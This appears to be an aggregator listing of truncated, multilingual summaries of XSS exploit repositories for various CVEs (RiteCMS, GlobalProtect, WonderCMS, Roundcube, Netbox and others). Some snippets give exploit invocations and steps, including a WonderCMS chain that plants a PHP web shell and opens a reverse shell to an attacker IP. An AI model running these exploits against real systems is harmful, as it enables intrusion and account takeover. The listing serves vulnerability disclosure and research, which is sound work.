ritecms

🛡️ CVE-2024-28623 – Vulnérabilité XSS dans RiteCMS v3.0.0 🔍 Aperçu Ce dépôt documente une vulnérabilité de Cross-Site Scripting XSS découverte dans RiteCMS v3.0.0 , que j'ai signalée et qui a reçu l'identifiant CVE CVE-2024-28623. 📄 Détails de la vulnérabilité Identifiant CVE : CVE-2024-28623...

cve-2023-41564-research

Übersicht der Schwachstelle CVE-2023-41564 CVE-2023-415641 ist eine gespeicherte XSS-Schwachstelle Stored XSS im CMS Cockpit = v2.6.3. Wenn beim Datei-Upload eine HTML-Datei mit der Erweiterung .shtml hochgeladen wird, wird in dem Moment, in dem die hochgeladene Datei geöffnet wird, JavaScript...

CVE-2018-8062

CVE-2018-8062 Постоянный XSS на маршрутизаторе Comtrend AR-5387un Объяснение эксплуатации: Чтобы воспользоваться этой уязвимостью, необходимо войти в маршрутизатор и создать WAN-службу Нажмите "Advanced Setup", "WAN Service". "Add button", "Next" Затем вставьте полезную нагрузку в поле "Enter...

-CVE-2025-0133-GlobalProtect-XSS

mitsecvpnxssexploit 🔓 针对 GlobalProtect SSL VPN 端点 /ssl-vpn/getconfig.esp 的漏洞利用工具，将构造的 XSS 载荷追加到 URL 中。 用法 root@kitploit: python3 exploit.py -u https://target.com 参数 -u, --url: 基础目标 URL（不要 包含查询参数） 载荷预览 root@kitploit: prompt"mitsec" 作者 GitHub: ynsmroztas Twitter: @ynsmroztas...

CVE-2026-9806

CVE-2026-9806 CVE-2026-9806은 패치된 릴리스 이전 버전의 CTI Transmute에 영향을 주는 저장형 교차 사이트 스크립팅Stored XSS 취약점입니다. 이 결함은 알림 패널에 존재하며, 사용자가 제어하는 convert 이름이 포함된 알림 메시지가 알림 벨 드롭다운에서 innerHTML을 통해 제대로 된 살균 없이 렌더링될 때 발생합니다. 공격자가 알림에 나타나는 convert 이름을 생성하거나 조작할 수 있다면, 인증된 사용자가 알림 패널을 열 때 해당 브라우저에서 임의의 JavaScript가 실행될...

CVE-2026-9811

CVE-2026-9811 CVE-2026-9811은 Mautic 7버전 7.0.07.1.1에 영향을 미치는 저장형 크로스 사이트 스크립팅Stored XSS 취약점입니다. 이 취약점은 프로젝트 선택기Project Selector 구성 요소에 존재하며, AJAX 요청을 통해 반환된 프로젝트 이름이 적절한 출력 인코딩이나 무해화 과정 없이 페이지에 삽입되는 데서 발생합니다. 프로젝트 생성 권한이 있는 인증된 사용자는 프로젝트 이름에 악성 JavaScript 페이로드를 저장할 수 있습니다. 이후 다른 관리자가 프로젝트 선택기가 포함된...

CVE-2023-41425

CVE-2023-41425 CVE-2023-41425 是 Wonder CMS 中的一个反射型 XSS 漏洞，可进一步通过 installModule 组件利用恶意脚本执行任意代码。 使用方法 针对目标的 loginURL 运行漏洞利用程序，指定用于托管恶意 .js 文件的 Web 服务器的 IP 和端口： root@kitploit: $ python3 exploit.py --url http://sea.htb/loginURL --xip 10.10.16.25 --xport 8888 + 创建 PHP Web Shell + 写入 malicious.js + XSS...

CVE-2023-41425-WonderCMS-Authenticated-RCE

CVE-2023-41425-WonderCMS-Authenticated-RCE 描述 WonderCMS v3.2.0 - v3.4.2 存在漏洞。远程攻击者可以通过跨站脚本（XSS）攻击完全控制服务器（仅供教育目的）。以下是攻击计划： 工作原理： 该漏洞利用 WonderCMS 的 installModule 组件，偷偷植入一个运行任意代码的恶意脚本。 设置 工具：exploit.py 必要条件： 安装了 WonderCMS 的目标 URL（无需管理员密码）。 攻击者机器的 IP 地址。 监听反向 Shell 的端口。 逐步执行 1. 脚本生成一个名为 xss.js 的文件。这个...

OpenNebula-CVE-2025-56535

OpenNebula-CVE-2025-56535 Título do Exploit : OpenNebula 6.10.0.1 - XSS armazenado Cross-site Scripting no atributo zone Autor do Exploit : Mark Artamonov Página inicial do fornecedor : https://opennebula.io/ Versão testada : OpenNebula 6.10.0.1 Versões afetadas : OpenNebula Prova de Conceito :...

xss-payload-list

xss-payload-list 🎯 크로스 사이트 스크립팅XSS 취약점 페이로드 목록...

CVE-2024-42009-roundcube-xss

CVE-2024-42009 — Roundcube Webmail 1.6.6 저장형 XSS PoC 공인된 보안 테스트, CTF 환경 및 교육 연구 목적으로만 사용하십시오. 소유하지 않았거나 서면 허가를 받지 않은 시스템에 이 도구를 사용하는 것은 영국의 Computer Misuse Act 1990, 미국의 CFAA 및 전 세계의 동등한 법률에 따라 불법입니다. 취약점 요약 필드| 세부 정보 ---|--- CVE| CVE-2024-42009 영향을 받는 소프트웨어| Roundcube Webmail ≤ 1.6.6 패치 버전| 1.6....

CVE-2025-51863

CVE-2025-51863 Описание уязвимости ChatGPTUtil — это чат-бот-ассистент на базе ИИ, предоставляющий доступ как к ChatGPT, так и к генератору изображений на основе ИИ. В чат-компоненте существует уязвимость Self Cross-Site Scripting Self-XSS. Это может привести к краже cookie-файлов и, как следстви...

Netbox-CVE-2023-37625

Netbox-CVE-2023-37625 Описание Хранимая межсайтовая уязвимость XSS в Netbox alert1' 3. Добавьте новую модель, в этом примере добавьте модель 'manufacturer'. 4. Откройте только что созданную модель от имени любого аутентифицированного пользователя и обратите внимание, что диалоговое окно alert был...

CVE-2024-46982

Эксплойт отравления кэша Next.js Этот инструмент автоматизирует обнаружение и эксплуатацию CVE-2024-46982 , уязвимости отравления кэша в Next.js , при которой ответы серверного рендеринга SSR могут быть ошибочно закэшированы как статическая генерация сайта SSG. Такая неправильная конфигурация мож...

CVE-2023-4549

CVE ID : CVE-2023-4549 漏洞类型 : 跨站脚本攻击 XSS 描述 : 适用于 WordPress 的 DoLogin Security 插件在版本 3.6 及之前版本中，由于对 'X-Forwarded-For' 头部的输入清理和输出转义不足，存在存储型跨站脚本漏洞。这使得未认证的攻击者能够在页面中注入任意 web 脚本，当用户访问被注入页面时脚本会执行。 复现步骤 : root@kitploit: 1. 将 JavaScript payload 放在 html.cafe 上。 const url =...

CVE-2025-51860

CVE-2025-51860 Description de la vulnérabilité TelegAI, une application web permettant de créer et de discuter avec des personnages IA, est vulnérable au Cross-Site Scripting stocké XSS dans son composant de chat et son composant de conteneur de personnages. Un attaquant peut parvenir à exécuter...

CVE-2025-25620

CVE-2025-25620 Unifiedtransform v2.0 уязвим к хранимому межсайтовому скриптингу XSS в функции "Create Assignment", что позволяет злоумышленникам выполнять вредоносные сценарии в контексте сеансов других пользователей. Вендор: Unifiedtransform PoC Шаг 1: Войдите в приложение как учитель. Шаг 2:...

PoC-CVE-2024-24035

CVE-2024-24035 Titre : Le SIL 3.1 est vulnérable à un script intersites XSS dans le paramètre « hmessage ». Date : 2024-01-14 Auteur : Elizeu Das Dores Page d'accueil du fournisseur : https://www.setorinformatica.com/ Version : 3.1 POC CVE-2024-24035 Le paramètre « hmessage » est vulnérable à un...

CVE-2024-33297

CVE-2024-33297 Microweber = 2.0.9에서 발생하는 저장형 교차 사이트 스크립팅Stored Cross Site Scripting 취약점 요약 : Microweber v.2.0.9의 저장형 교차 사이트 스크립팅Stored Cross Site Scripting 취약점으로 인해 원격 공격자가 "새 캠페인 추가" 기능의 캠페인 이름내부 이름 필드를 통해 임의 코드를 실행할 수 있습니다. 요구 사항 : Microweber 버전 = 2.0.9 관리자 접근 권한 재현 단계 : 1. 관리자 권한으로 애플리케이션에...

Pluck-CMS-Stored-XSS---Installation

Pluck CMS 4.7.18 저장형 XSS 작성자: Sergio 설명: PluckCMS v.4.7.18 설치 과정에서 발견된 다중 교차 사이트 스크립팅XSS 취약점으로, 로컬 공격자가 설치 과정의 웹사이트 이름Website Name에 해당하는 cont1 및 cont2 파라미터에 주입된 조작된 페이로드를 통해 임의 코드를 실행할 수 있게 합니다. 공격 벡터: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L POC: 설치 과정에서 두 파라미터 중 하나에 XSS 페이로드를 입력하고, 다음next을 클릭하면 XSS...